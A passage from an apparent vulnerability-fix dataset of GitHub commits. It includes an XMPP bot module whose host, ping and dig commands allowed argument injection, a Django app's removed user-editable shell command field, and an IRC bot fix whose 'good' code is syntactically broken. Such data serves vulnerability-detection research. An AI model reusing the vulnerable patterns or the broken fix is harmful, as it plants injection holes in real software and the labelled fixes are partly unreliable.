dr\u00fcckst\",\n \"Fnord ist wenn du Nachts an der roten Ampel stehst\",\n \"Fnord ist das Gef\u00fchl in deinem Kopf, wenn du die Luft zu lange h\u00e4ltst\",\n \"Fnord ist die leeren Seiten am Ende deines Buches\",\n \"Fnord ist der kleine gr\u00fcne Stein in deinem Schuh\",\n \"Fnord ist was du denkst wenn du nicht weisst was du denkst\",\n \"Fnord ist die Farbe die nur der Blinde sieht\",\n \"Fnord ist Morgens sp\u00e4t und Abends fr\u00fch\",\n \"Fnord ist wo die Busse sich verstecken in der Nacht\",\n \"Fnord ist der Raum zwischen den Pixeln auf deinem Bildschirm\",\n \"Fnord ist das Pfeifen in deinem Ohr\",\n \"Fnord ist das pelzige Gef\u00fchl auf deinen Z\u00e4hnen am n\u00e4chsten Tag\",\n \"Fnord ist die Angst und ist die Erleichterung und ist die Angst\",\n \"Fnord schl\u00e4ft nie\",\n \"Fnord ist xand.\",\n ]\n\n def __call__(self, msg, arguments, errorSink=None):\n if len(arguments.strip()) > 0:\n return\n self.reply(msg, random.choice(self.fnordlist))\n return True\n\nclass Host(Base.MessageHandler):\n def __call__(self, msg, arguments, errorSink=None):\n proc = subprocess.Popen(\n [\"host\", arguments],\n stdout=subprocess.PIPE\n )\n output, _ = proc.communicate()\n output = output.decode().strip()\n\n self.reply(msg, output)\n\nclass Uptime(Base.MessageHandler):\n def __init__(self, show_users=False, **kwargs):\n super().__init__(**kwargs)\n self._show_users = show_users\n\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n proc = subprocess.Popen(\n [\"uptime\"],\n stdout=subprocess.PIPE\n )\n output, _ = proc.communicate()\n output = output.decode().strip()\n\n if not self._show_users:\n output = re.sub(\"[0-9]+ users, \", \"\", output)\n\n self.reply(msg, output)\n\nclass Reload(Base.MessageHandler):\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n self.xmpp.config.reload()\n\n\nclass REPL(Base.MessageHandler):\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n import code\n namespace = dict(locals())\n namespace[\"xmpp\"] = self.XMPP\n self.reply(msg, \"Dropping into repl shell -- don't expect any further interaction until termination of shell access\")\n code.InteractiveConsole(namespace).interact(\"REPL shell as requested\")\n\n\nclass Respawn(Base.MessageHandler):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.argv = list(sys.argv)\n self.cwd = os.getcwd()\n\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n print(\"disconnecting for respawn\")\n self.XMPP.disconnect(reconnect=False, wait=True)\n print(\"preparing and running execv\")\n os.chdir(self.cwd)\n os.execv(self.argv[0], self.argv)\n\n\nclass Peek(Base.ArgparseCommand):\n def __init__(self, timeout=3, command_name=\"peek\", maxlen=256, **kwargs):\n super().__init__(command_name, **kwargs)\n self.timeout = timeout\n self.maxlen = maxlen\n self.argparse.add_argument(\n \"-u\", \"--udp\",\n action=\"store_true\",\n dest=\"udp\",\n default=False,\n help=\"Use UDP instead of TCP\",\n )\n self.argparse.add_argument(\n \"-6\", \"--ipv6\",\n action=\"store_true\",\n dest=\"ipv6\",\n default=False,\n help=\"Use IPv6 sockets to connect to target\"\n )\n self.argparse.add_argument(\n \"host\",\n help=\"Host or IP to connect to\"\n )\n self.argparse.add_argument(\n \"port\",\n type=int,\n help=\"TCP/UDP port to connect to\"\n )\n\n def recvline(self, sock):\n buf = b\"\"\n while b\"\\n\" not in buf and len(buf) < self.maxlen:\n try:\n data = sock.recv(1024)\n if len(data) == 0:\n break # this should not happen in non-blocking mode, but...\n buf += data\n except socket.error as err:\n if err.errno == errno.EAGAIN:\n print(\"EAGAIN\")\n break\n raise\n return buf.split(b\"\\n\", 1)[0]\n\n def _is_ipv6(self, host):\n try:\n return ipaddress.ip_address(host).version == 6\n except ValueError: # host is probably a hostname\n return False\n\n\n def _call(self, msg, args, errorSink=None):\n v6 = True if args.ipv6 else self._is_ipv6(args.host)\n fam = socket.AF_INET6 if v6 else socket.AF_INET\n\n typ = socket.SOCK_DGRAM if args.udp else socket.SOCK_STREAM\n sock = socket.socket(fam, typ, 0)\n sock.settimeout(self.timeout)\n try:\n sock.connect((args.host, args.port))\n except socket.error as err:\n self.reply(msg, \"connect error: {0!s}\".format(err))\n return\n try:\n try:\n buf = self.recvline(sock)\n except socket.timeout as err:\n self.reply(msg, \"error: didn't receive any data in time\")\n return\n finally:\n sock.close()\n\n if not buf:\n self.reply(msg, \"error: nothing received before first newline\")\n return\n\n try:\n reply = buf.decode(\"utf-8\").strip()\n if utils.evil_string(reply):\n reply = None\n except UnicodeDecodeError as err:\n reply = None\n\n if reply is None:\n reply = \"hexdump: {0}\".format(binascii.b2a_hex(buf).decode(\"ascii\"))\n else:\n hoststr = \"[{}]\".format(args.host) if self._is_ipv6(args.host) else args.host\n reply = \"{host}:{port} says: {0}\".format(reply, host=hoststr,\n port=args.port)\n\n self.reply(msg, reply)\n\n\nclass Ping(Base.ArgparseCommand):\n packetline = re.compile(\"([0-9]+) packets transmitted, ([0-9]+) received(.*), ([0-9]+)% packet loss, time ([0-9]+)ms\")\n rttline = re.compile(\"rtt min/avg/max/mdev = (([0-9.]+/){3}([0-9.]+)) ms\")\n\n def __init__(self, count=4, interval=0.5, command_name=\"ping\", **kwargs):\n super().__init__(command_name, **kwargs)\n self.argparse.add_argument(\n \"-6\", \"--ipv6\",\n action=\"store_true\",\n dest=\"ipv6\",\n default=False,\n help=\"Use ping6 instead of ping\"\n )\n self.argparse.add_argument(\n \"--alot\",\n action=\"store_true\",\n dest=\"alot\",\n help=\"Send more pings\"\n )\n self.argparse.add_argument(\n \"host\",\n help=\"Host which is to be pinged\"\n )\n self.pingargs = [\n \"-q\",\n \"-i{0:f}\".format(interval)\n ]\n\n def _call(self, msg, args, errorSink=None):\n pingcmd = [\"ping6\" if args.ipv6 else \"ping\"]\n if args.alot:\n count = 20\n else:\n count = 5\n pingcmd.append(\"-c{0:d}\".format(count))\n proc = subprocess.Popen(\n pingcmd + self.pingargs + [args.host],\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE\n )\n out, err = proc.communicate()\n if proc.wait() != 0:\n message = err.decode().strip()\n if not message:\n self.reply(msg, \"unknown error, timeout/blocked?\")\n else:\n self.reply(msg, \"error: {0}\".format(message))\n else:\n lines = out.decode().strip().split(\"\\n\")\n packetinfo = self.packetline.match(lines[3])\n rttinfo = self.rttline.match(lines[4])\n if not packetinfo or not rttinfo:\n self.reply(msg, \"unknown error, unable to parse ping output, dumping to stdout\")\n print(out.decode())\n else:\n packetinfo = packetinfo.groups()\n rttinfo = rttinfo.group(1).split(\"/\")\n try:\n message = \"{host}: {recv}/{sent} pckts., {loss}% loss, rtt \u2193/-/\u2191/\u2195 = {rttmin}/{rttavg}/{rttmax}/{rttmdev}, time {time}ms\".format(\n host=args.host,\n sent=int(packetinfo[0]),\n recv=int(packetinfo[1]),\n loss=int(packetinfo[3]),\n rttmin=rttinfo[0],\n rttavg=rttinfo[1],\n rttmax=rttinfo[2],\n rttmdev=rttinfo[3],\n time=int(packetinfo[4])\n )\n except ValueError:\n self.reply(msg, \"malformatted ping output, dumping to stdout\")\n print(out.decode())\n return\n self.reply(\n msg,\n message\n )\n\nclass Roll(Base.MessageHandler):\n rollex_base = \"([0-9]*)[dW]([0-9]+)\"\n rollex_all = re.compile(\"^(({0}\\s+)*{0})(\\s+(each\\s+)?\\w+\\s+([0-9]+))?\\s*$\".format(rollex_base), re.I)\n rollex = re.compile(rollex_base, re.I)\n\n def _too_much(self, msg):\n self.reply(msg, \"yeah, right, I'll go and rob a die factory\")\n\n def __call__(self, msg, arguments, errorSink=None):\n matched = self.rollex_all.match(arguments)\n if not matched:\n self.reply(msg, \"usage: XdY rolls a dY X times\")\n return\n\n results = []\n die = matched.group(1)\n for match in self.rollex.finditer(die):\n if len(results) > 4000:\n self._too_much()\n return\n count, dice = match.groups()\n count = int(count) if count else 1\n dice = int(dice)\n if count < 1:\n self.reply(msg, \"thats not a reasonable count: {}\".format(count))\n return\n if dice <= 1:\n self.reply(msg, \"thats not a reasonable die: {}\".format(dice))\n return\n if count > 1000 or len(results) > 1000:\n self._too_much(msg)\n return\n results.extend(random.randint(1, dice) for i in range(count))\n\n against = matched.group(9)\n each = matched.group(8)\n suffix = \"\"\n print(repr(against))\n if against:\n against = int(against)\n if against >= sum(results):\n suffix = \": passed\"\n else:\n suffix = \": failed\"\n\n self.reply(msg, \"results: {}, sum = {}{}\".format(\n \" \".join(\"{}\".format(result) for result in results),\n sum(results),\n suffix\n ))\n\nclass Dig(Base.ArgparseCommand):\n def __init__(self, command_name=\"dig\", **kwargs):\n super().__init__(command_name, **kwargs)\n self.argparse.add_argument(\n \"-s\", \"--server\", \"--at\",\n default=None,\n help=\"Server to ask for the record\",\n dest=\"at\"\n )\n self.argparse.add_argument(\n \"kind\",\n metavar=\"RECTYPE\",\n nargs=\"?\",\n default=None,\n type=lambda x: x.upper(),\n choices=[\"SRV\", \"A\", \"AAAA\", \"CNAME\", \"MX\", \"SOA\", \"TXT\",\n \"SPF\", \"NS\", \"SSHFP\", \"NSEC\", \"NSEC3\", \"DNSKEY\", \"RRSIG\",\n \"DS\", \"TLSA\", \"PTR\"],\n help=\"Record kind to ask for\"\n )\n self.argparse.add_argument(\n \"name\",\n metavar=\"NAME\",\n help=\"Record name to look up\"\n )\n\n def _call(self, msg, args, errorSink=None):\n userargs = [args.name]\n kindstr = \"\"\n if args.kind is not None:\n kindstr = \" ({})\".format(args.kind)\n userargs.insert(0, args.kind)\n atstr = \"\"\n if args.at is not None:\n atstr = \"@\"+args.at\n userargs.append(atstr)\n\n call = [\"dig\", \"+time=2\", \"+short\"] + userargs\n\n proc = subprocess.Popen(\n call,\n stdout=subprocess.PIPE\n )\n stdout, _ = proc.communicate()\n if proc.wait() != 0:\n self.reply(msg, stdout.decode().strip(\";\").strip())\n return\n\n results = list(filter(bool, stdout.decode().strip().split(\"\\n\")))\n\n if results:\n resultstr = \", \".join(results)\n else:\n resultstr = \"no records\"\n self.reply(msg, \"{host}{at}{kind}: {results}\".format(\n host=args.name,\n at=atstr,\n kind=kindstr,\n results=resultstr\n ))\n\n# info on current CalendarWeek\nclass CW(Base.MessageHandler):\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n current_date = date.today()\n current_cw = current_date.isocalendar()[1]\n current_year = current_date.year\n paritystr = \"\"\n if (current_cw % 2) == 0:\n paritystr = \"even\"\n else:\n paritystr = \"odd\"\n\n self.reply(msg, \"Current week is week #{cw} in {year}, which is {parity}.\".format(\n cw=current_cw,\n year=current_year,\n parity=paritystr\n ))\n\n\nclass Redirect(Base.MessageHandler):\n def __init__(self, new_name, **kwargs):\n super().__init__(**kwargs)\n self._new_name = new_name\n\n def __call__(self, msg, arguments, errorSink=None):\n self.reply(\n msg,\n \"I don't know that. Did you mean: {} {}\".format(\n self._new_name, arguments))\n\n\nclass Date(Base.MessageHandler):\n def __init__(self, timezone, **kwargs):\n super().__init__(**kwargs)\n if pytz is None:\n logging.warn(\"Timezone support disabled, install pytz to enable.\")\n self._timezone = None\n else:\n self._timezone = pytz.timezone(timezone)\n\n def _format_date(self, dt):\n return dt.strftime(\"%a %d %b %Y %H:%M:%S %Z\")\n\n def __call__(self, msg, arguments, errorSink=None):\n if arguments.strip():\n return\n\n if pytz is not None:\n dt = datetime.now(pytz.UTC)\n if self._timezone is not None:\n dt = dt.astimezone(self._timezone)\n else:\n dt = datetime.utcnow()\n self.reply(msg, self._format_date(dt))\n\nclass DiscordianDateTime:\n ST_TIBS_DAY = \"St. Tib\u2019s Day\"\n\n HOLIDAYS = [\n \"Mungday\",\n \"Chaoflux\",\n \"Mojoday\",\n \"Discoflux\",\n \"Syaday\",\n \"Confuflux\",\n \"Zaraday\",\n \"Bureflux\",\n \"Maladay\",\n ]\n\n SEASONS = [\n \"Chaos\",\n \"Discord\",\n \"Confusion\",\n \"Bureaucracy\",\n \"The Aftermath\",\n ]\n\n WEEKDAYS = [\n \"Sweetmorn\",\n \"Boomtime\",\n \"Pungenday\",\n \"Prickle-Prickle\",\n \"Setting Orange\",\n ]\n\n yold = None\n seasonname = None\n season = None\n weekday = None\n weekdayname = None\n day = None\n hour = None\n minute = None\n second = None\n\n def __init__(self, dt):\n y, m, d = dt.year, dt.month, dt.day\n\n self.yold = y + 1166\n self.hour = dt.hour\n self.minute = dt.minute\n self.second = dt.second\n\n if (m, d) == (2, 29):\n self.weekdayname = self.ST_TIBS_DAY\n else:\n # this is ugly. if you know something better, tell me\n day_of_year = int(dt.strftime(\"%j\"))\n\n if calendar.isleap(y):\n # 60th is St. Tib's Day\n if day_of_year > 60:\n day_of_year -= 1\n\n season = int((day_of_year-1) / 73)\n self.season = season+1\n self.seasonname = self.SEASONS[season]\n\n self.day = (day_of_year-1) % 73 + 1\n\n self.weekday = (day_of_year-1) % 5 + 1\n if self.day == 5 or self.day == 50:\n # holiday\n offs = 1 if self.day == 50 else 0\n holidayidx = season*2 + offs\n self.weekdayname = self.HOLIDAYS[holidayidx]\n else:\n self.weekdayname = self.WEEKDAYS[self.weekday-1]\n\nclass DDate(Date):\n @staticmethod\n def _cardinal_number(num):\n suffixes = {\n \"1\": \"st\",\n \"2\": \"nd\",\n \"3\": \"rd\"\n }\n exceptions = {11, 12, 13}\n if num in exceptions:\n return \"{:d}th\".format(num)\n\n num = str(num)\n num += suffixes.get(num[-1], \"th\")\n return num\n\n def _format_date(self, dt):\n ddt = DiscordianDateTime(dt)\n if ddt.day is None:\n return \"Today is {weekdayname} in the YOLD {yold:04d}\".format(\n weekdayname=ddt.weekdayname,\n yold=ddt.yold)\n else:\n return \"Today is {weekdayname}, the {card} day of {seasonname} in the YOLD {yold}\".format(\n weekdayname=ddt.weekdayname,\n card=self._cardinal_number(ddt.day),\n seasonname=ddt.seasonname,\n yold=ddt.yold)\n\n\nclass Poly(Base.MessageHandler):\n divex = re.compile(r\"^\\s*(.*?)\\s+mod\\s+(.*?)\\s+in\\s+GF\\(([0-9]+)\\)\\[(\\w)\\]\\s*$\", re.I)\n supunmap = {v: k for k, v in polylib.supmap.items()}\n\n def __init__(self, degree_limit=1024, **kwargs):\n super().__init__(**kwargs)\n self.degree_limit = degree_limit\n\n def _parse_coeff(self, cstr, var):\n coefficient, _, exponent = cstr.partition(var)\n if _ != var:\n try:\n return int(cstr), 0\n except ValueError:\n raise ValueError(\"Not a valid coefficient for a polynome in\"\n \" {var}: {}\".format(cstr, var=var))\n if exponent.startswith(\"^\"):\n # usual format, strip braces if there are any\n exponent = exponent[1:].replace(\"{\", \"\").replace(\"}\", \"\")\n else:\n # unicode format\n exponent = \"\".join(map(lambda x: self.supunmap.get(x, x), exponent))\n if not exponent:\n exponent = 1\n else:\n exponent = int(exponent)\n if not coefficient:\n coefficient = 1\n else:\n coefficient = int(coefficient)\n return coefficient, exponent\n\n def _parse_poly(self, pstr, var):\n # this removes spaces\n pstr = \"\".join(map(str.strip, pstr))\n summands = pstr.split(\"+\")\n\n coefficients = list(map(lambda x: self._parse_coeff(x, var), summands))\n\n cs = [0]*(max(degree for _, degree in coefficients)+1)\n for value, degree in coefficients:\n if degree < 0:\n raise ValueError(\"Negative exponents are invalid for \"\n \"polynomials.\")\n if self.degree_limit is not None and degree > self.degree_limit:\n raise ValueError(\"Polynomial out of supported range. \"\n \"Maximum degree is {}\".format(\n self.degree_limit))\n cs[degree] = value\n return cs\n\n def _parse_instruction(self, s):\n match = self.divex.match(s)\n if match is None:\n raise ValueError(\"Could not parse command\")\n poly1 = match.group(1)\n poly2 = match.group(2)\n instruction = \"mod\"#match.group(2)\n p = int(match.group(3))\n var = match.group(4)\n\n cs1 = self._parse_poly(poly1, var)\n cs2 = self._parse_poly(poly2, var)\n\n field = polylib.IntField(p)\n p1 = polylib.FieldPoly(field, cs1)\n p2 = polylib.FieldPoly(field, cs2)\n\n return p1, instruction, p2\n\n def __call__(self, msg, arguments, errorSink=None):\n if not arguments.strip():\n return\n\n try:\n p1, _, p2 = self._parse_instruction(arguments)\n except ValueError as err:\n self.reply(msg,\n \"could not parse your request: {}. please use format: \"\n \"poly1 mod poly2 in GF(p)[x]\".format(err))\n return\n\n try:\n d, r = divmod(p1, p2)\n except ZeroDivisionError:\n self.reply(msg, \"division by zero\")\n return\n\n self.reply(msg,\n \"{a} // {b} = {d}; remainder: {r}\".format(\n a=p1,\n b=p2,\n d=d,\n r=r))\n"}}, "msg": "Fix multiple command vulnerabilities\n\n* The target host passed to :class:`foomodules.Commands.Host` and\n :class:`foomodules.Commands.Ping` could be crafted to possibly produce\n malicious behaviour, as it is passed verbatim to the respective shell\n command. Using e.g. `-mtrace` as hostname for the host command would\n produce considerable memory and cpu consumption.\n\n* :class:`foomodules.Commands.Dig` allowed injection of a single flag\n (by setting it as host name) if a record type was set. In that case,\n `dig` would intepret the record type as host name to look up and\n the host name (starting with a `+`) would be taken as a flag."}}, "https://github.com/treussart/ProbeManager_CheckCVE": {"29873f8e87b6e3a6135a69380685e40cfbf7ae9b": {"url": "https://api.github.com/repos/treussart/ProbeManager_CheckCVE/commits/29873f8e87b6e3a6135a69380685e40cfbf7ae9b", "html_url": "https://github.com/treussart/ProbeManager_CheckCVE/commit/29873f8e87b6e3a6135a69380685e40cfbf7ae9b", "message": "Remove manual for installed_by\n\nbecause too insecure -> command injection", "sha": "29873f8e87b6e3a6135a69380685e40cfbf7ae9b", "keyword": "command injection insecure", "diff": "diff --git a/admin.py b/admin.py\nindex b2b0178..4df6d4e 100644\n--- a/admin.py\n+++ b/admin.py\n@@ -42,14 +42,7 @@ def get_form(self, request, obj=None, **kwargs):\n return CheckCVEChangeForm\n \n \n-class SoftwareAdmin(admin.ModelAdmin):\n- class Media:\n- js = (\n- 'checkcve/js/mask-command-field.js',\n- )\n-\n-\n admin.site.register(Checkcve, CheckCVEAdmin)\n-admin.site.register(Software, SoftwareAdmin)\n+admin.site.register(Software)\n admin.site.register(WhiteList)\n admin.site.register(Cve)\ndiff --git a/fixtures/init-checkcve.json b/fixtures/init-checkcve.json\nindex 1748154..6845eb9 100644\n--- a/fixtures/init-checkcve.json\n+++ b/fixtures/init-checkcve.json\n@@ -47,7 +47,7 @@\n \"os\": 1,\n \"command\": \"export LC_ALL=en_US.UTF-8; export LANG=en_US.UTF-8; export LC_ALL=en_US.UTF-8; export LANG=en_US.UTF-8; echo $(sudo mongod --version | grep -Po '(\\\\d+\\\\.)+\\\\d+' -m 1 )\",\n \"cpe\": \"mongodb:mongodb\",\n- \"instaled_by\": \"manual\"\n+ \"instaled_by\": \"brew\"\n }\n },\n {\ndiff --git a/models.py b/models.py\nindex d05a191..8336f44 100644\n--- a/models.py\n+++ b/models.py\n@@ -54,13 +54,12 @@ class Software(CommonMixin, models.Model):\n The software to check the common vulnerabilities and exposures.\n \"\"\"\n INSTALED_CHOICES = (\n- ('manual', 'manual'),\n ('apt', 'apt'),\n ('brew', 'brew'),\n )\n name = models.CharField(max_length=100, null=False, blank=False)\n os = models.ForeignKey(OsSupported, on_delete=models.CASCADE)\n- command = models.CharField(max_length=700, null=True, blank=True)\n+ command = models.CharField(max_length=700, null=True, blank=True, editable=False)\n cpe = models.CharField(max_length=100, null=False, blank=False)\n instaled_by = models.CharField(max_length=255, choices=INSTALED_CHOICES, null=False, blank=False)\n \ndiff --git a/static/checkcve/js/mask-command-field.js b/static/checkcve/js/mask-command-field.js\ndeleted file mode 100644\nindex 94c1f0f..0000000\n--- a/static/checkcve/js/mask-command-field.js\n+++ /dev/null\n@@ -1,13 +0,0 @@\n-function action() {\n- if(django.jQuery( \"#id_instaled_by option:selected\" ).text() === \"manual\"){\n- django.jQuery(\".form-row.field-command\").fadeIn(\"slow\");\n- }else{\n- django.jQuery(\".form-row.field-command\").fadeOut(\"fast\");\n- }\n-}\n-django.jQuery(document).ready(function() {\n- action();\n- django.jQuery(\"select[name='instaled_by']\").change(function(){\n- action();\n- });\n-});\n", "files": {"/admin.py": {"changes": [{"diff": "\n return CheckCVEChangeForm\n \n \n-class SoftwareAdmin(admin.ModelAdmin):\n- class Media:\n- js = (\n- 'checkcve/js/mask-command-field.js',\n- )\n-\n-\n admin.site.register(Checkcve, CheckCVEAdmin)\n-admin.site.register(Software, SoftwareAdmin)\n+admin.site.register(Software)\n admin.site.register(WhiteList)\n admin.site.register(Cve)", "add": 1, "remove": 8, "filename": "/admin.py", "badparts": ["class SoftwareAdmin(admin.ModelAdmin):", " class Media:", " js = (", " 'checkcve/js/mask-command-field.js',", " )", "admin.site.register(Software, SoftwareAdmin)"], "goodparts": ["admin.site.register(Software)"]}], "source": "\nimport logging from django.contrib import admin from django.contrib import messages from checkcve.forms import CheckCVEForm, CheckCVEChangeForm from checkcve.models import Checkcve, Software, WhiteList, Cve from checkcve.utils import create_check_cve_task logger=logging.getLogger(__name__) class CheckCVEAdmin(admin.ModelAdmin): form=CheckCVEForm def check_cve(self, request, obj): errors=list() test=True for probe in obj: try: probe.check_cve() except Exception as e: test=False logger.exception('Error in check_cve ' +str(self.actions)) errors.append(str(e)) if test: messages.add_message(request, messages.SUCCESS, \"Check CVE OK\") else: messages.add_message(request, messages.ERROR, \"Check CVE failed ! \" +str(errors)) actions=[check_cve] def save_model(self, request, obj, form, change): create_check_cve_task(obj) super().save_model(request, obj, form, change) def get_form(self, request, obj=None, **kwargs): \"\"\"A ModelAdmin that uses a different form class when adding an object.\"\"\" if obj is None: return super(CheckCVEAdmin, self).get_form(request, obj, **kwargs) else: return CheckCVEChangeForm class SoftwareAdmin(admin.ModelAdmin): class Media: js=( 'checkcve/js/mask-command-field.js', ) admin.site.register(Checkcve, CheckCVEAdmin) admin.site.register(Software, SoftwareAdmin) admin.site.register(WhiteList) admin.site.register(Cve) ", "sourceWithComments": "import logging\n\nfrom django.contrib import admin\nfrom django.contrib import messages\n\nfrom checkcve.forms import CheckCVEForm, CheckCVEChangeForm\nfrom checkcve.models import Checkcve, Software, WhiteList, Cve\nfrom checkcve.utils import create_check_cve_task\n\nlogger = logging.getLogger(__name__)\n\n\nclass CheckCVEAdmin(admin.ModelAdmin):\n form = CheckCVEForm\n\n def check_cve(self, request, obj):\n errors = list()\n test = True\n for probe in obj:\n try:\n probe.check_cve()\n except Exception as e: # pragma: no cover\n test = False\n logger.exception('Error in check_cve ' + str(self.actions))\n errors.append(str(e))\n if test:\n messages.add_message(request, messages.SUCCESS, \"Check CVE OK\")\n else: # pragma: no cover\n messages.add_message(request, messages.ERROR, \"Check CVE failed ! \" + str(errors))\n\n actions = [check_cve]\n\n def save_model(self, request, obj, form, change):\n create_check_cve_task(obj)\n super().save_model(request, obj, form, change)\n\n def get_form(self, request, obj=None, **kwargs):\n \"\"\"A ModelAdmin that uses a different form class when adding an object.\"\"\"\n if obj is None:\n return super(CheckCVEAdmin, self).get_form(request, obj, **kwargs)\n else:\n return CheckCVEChangeForm\n\n\nclass SoftwareAdmin(admin.ModelAdmin):\n class Media:\n js = (\n 'checkcve/js/mask-command-field.js',\n )\n\n\nadmin.site.register(Checkcve, CheckCVEAdmin)\nadmin.site.register(Software, SoftwareAdmin)\nadmin.site.register(WhiteList)\nadmin.site.register(Cve)\n"}}, "msg": "Remove manual for installed_by\n\nbecause too insecure -> command injection"}}, "https://github.com/jdiez17/IRC-bot": {"5f3c4a9a14598f4f706bfccb007ead2ec2816931": {"url": "https://api.github.com/repos/jdiez17/IRC-bot/commits/5f3c4a9a14598f4f706bfccb007ead2ec2816931", "html_url": "https://github.com/jdiez17/IRC-bot/commit/5f3c4a9a14598f4f706bfccb007ead2ec2816931", "message": "Fixed IRC command injection vulnerability.", "sha": "5f3c4a9a14598f4f706bfccb007ead2ec2816931", "keyword": "command injection vulnerable", "diff": "diff --git a/modules/qdb.py b/modules/qdb.py\nindex 7ce8adf..06beca1 100644\n--- a/modules/qdb.py\n+++ b/modules/qdb.py\n@@ -27,7 +27,11 @@ def parse(self, msg, cmd, user, arg):\n \t\t\t\t\tif result['results']['success'] == 1:\r\n \t\t\t\t\t\tquote = result['results']['data']['text'].split(\"\\n\")\r\n \t\t\t\t\t\tfor line in quote:\r\n-\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r\n+\t\t\t\t\t\t\tif \"\\r\" in line or \"\\n\" in line:\r\n+\t\t\t\t\t\t\t\tfor subline in line.split(\"\\r\\n\")\r\n+\t\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(subline))\r\n+\t\t\t\t\t\t\telse:\r\n+\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r\n \t\t\t\t\telse:\r\n \t\t\t\t\t\tproblem = {'hidden_quote': 'The quote is hidden.', 'no_such_quote': 'No such quote exists.'}[result['results']['error']]\r\n \t\t\t\t\t\tresponse.add_action(self.send_message(\"Error: \" + problem))\r\n", "files": {"/modules/qdb.py": {"changes": [{"diff": "\n \t\t\t\t\tif result['results']['success'] == 1:\r\n \t\t\t\t\t\tquote = result['results']['data']['text'].split(\"\\n\")\r\n \t\t\t\t\t\tfor line in quote:\r\n-\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r\n+\t\t\t\t\t\t\tif \"\\r\" in line or \"\\n\" in line:\r\n+\t\t\t\t\t\t\t\tfor subline in line.split(\"\\r\\n\")\r\n+\t\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(subline))\r\n+\t\t\t\t\t\t\telse:\r\n+\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r\n \t\t\t\t\telse:\r\n \t\t\t\t\t\tproblem = {'hidden_quote': 'The quote is hidden.', 'no_such_quote': 'No such quote exists.'}[result['results']['error']]\r\n \t\t\t\t\t\tresponse.add_action(self.send_message(\"Error: \" + problem))\r\n", "add": 5, "remove": 1, "filename": "/modules/qdb.py", "badparts": ["\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r"], "goodparts": ["\t\t\t\t\t\t\tif \"\\r\" in line or \"\\n\" in line:\r", "\t\t\t\t\t\t\t\tfor subline in line.split(\"\\r\\n\")\r", "\t\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(subline))\r", "\t\t\t\t\t\t\telse:\r", "\t\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r"]}], "source": "\nfrom module import Module\r from response.response import Response\r \r import hashlib\r import requests\r import json\r from datetime import date\r \r class QDB2(Module):\r \tdef __init__(self):\r \t\tself.modname=\"Fearnode QDB\"\r \t\tself.qdb_api_post=\"http://qdb.vortigaunt.net/api/send/%s\"\r \t\tself.qdb_login=\"http://qdb.vortigaunt.net/login/%s\"\r \t\tself.qdb_api_read=\"http://qdb.vortigaunt.net/api/read/%s\"\r \t\tself.qdb_secret=\"[redacted]\"\r \t\tself.quote_users={}\r \t\r \tdef parse(self, msg, cmd, user, arg):\r \t\tif cmd==\".read\":\r \t\t\tresponse=Response()\r \t\t\t\r \t\t\tresult=requests.get(self.qdb_api_read % arg[0])\r \t\t\ttry:\r \t\t\t\tresult=json.loads(result.content)\r \t\t\t\r \t\t\t\tif result['results'].has_key('success'):\r \t\t\t\t\tif result['results']['success']==1:\r \t\t\t\t\t\tquote=result['results']['data']['text'].split(\"\\n\")\r \t\t\t\t\t\tfor line in quote:\r \t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r \t\t\t\t\telse:\r \t\t\t\t\t\tproblem={'hidden_quote': 'The quote is hidden.', 'no_such_quote': 'No such quote exists.'}[result['results']['error']]\r \t\t\t\t\t\tresponse.add_action(self.send_message(\"Error: \" +problem))\r \t\t\texcept:\r \t\t\t\tresponse.add_action(self.send_message('wodim, arregla el qdb.'))\r \t\t\t\t\r \t\t\treturn self.multiple_response(response.generate_response())\r \t\tif cmd==\".password\":\r \t\t\tm=hashlib.md5()\r \t\t\tm.update(date.today().strftime(\"%d/%m/%Y\") +self.qdb_secret)\r \t\t\tpassword=m.hexdigest()[:8]\r \t\t\t\r \t\t\treturn self.send_message(self.qdb_login % password)\r \t\tif msg[:5]==\".send\":\r \t\t\tif user[:2]==\"**\":\r \t\t\t\tuser=user[2:].strip()\r \t\t\telse:\r \t\t\t\treturn self.ignore()\r \t\t\t\t\r \t\t\tif user not in self.quote_users:\r \t\t\t\t\treturn self.send_raw_message(\"PRIVMSG \" +user +\":Pega un quote antes.\")\r \t\t\t\t\r \t\t\tquote=\"\"\r \t\t\tm=hashlib.md5()\r \t\t\tm.update(date.today().strftime(\"%d/%m/%Y\") +self.qdb_secret)\r \t\t\tpassword=m.hexdigest()[:8]\r \t\t\t\r \t\t\tif(msg[:13]==\".send_private\"):\r \t\t\t\tcomment=msg[13:]\r \t\t\t\tprivate=1\r \t\t\telse:\r \t\t\t\tcomment=msg[5:]\r \t\t\t\tprivate=0\r \t\t\t\t\r \t\t\tfor line in self.quote_users[user]:\r \t\t\t\tquote=quote +\"\\n\" +line\r \t\t\t\r \t\t\tif quote==\"\":\r \t\t\t\treturn self.ignore()\r \t\t\t\r \t\t\tpayload={'nick': user +'(bot)', 'text': quote, 'comment': comment, 'hidden': private}\r \t\t\tr=requests.post(self.qdb_api_post % password, data=payload)\r \t\t\tr=json.loads(r.content)\r \t\t\t\r \t\t\tself.quote_users[user]=[]\r \t\t\treturn self.send_message(r['results']['url'] +\" \" +comment +\"(\" +user +\")\")\r \t\telif cmd==\".cancel\" and user[:2]==\"**\":\r \t\t\tuser=user[2:]\r \t\t\t\r \t\t\tself.quote_users[user]=[]\r \t\t\treturn self.send_raw_message(\"PRIVMSG \" +user +\":Hecho.\")\r \t\telif user[:2]==\"**\":\r \t\t\tuser=user[2:]\r \t\t\t\r \t\t\tif user in self.quote_users:\r \t\t\t\tif self.quote_users[user]==[]:\r \t\t\t\t\tsend=True\r 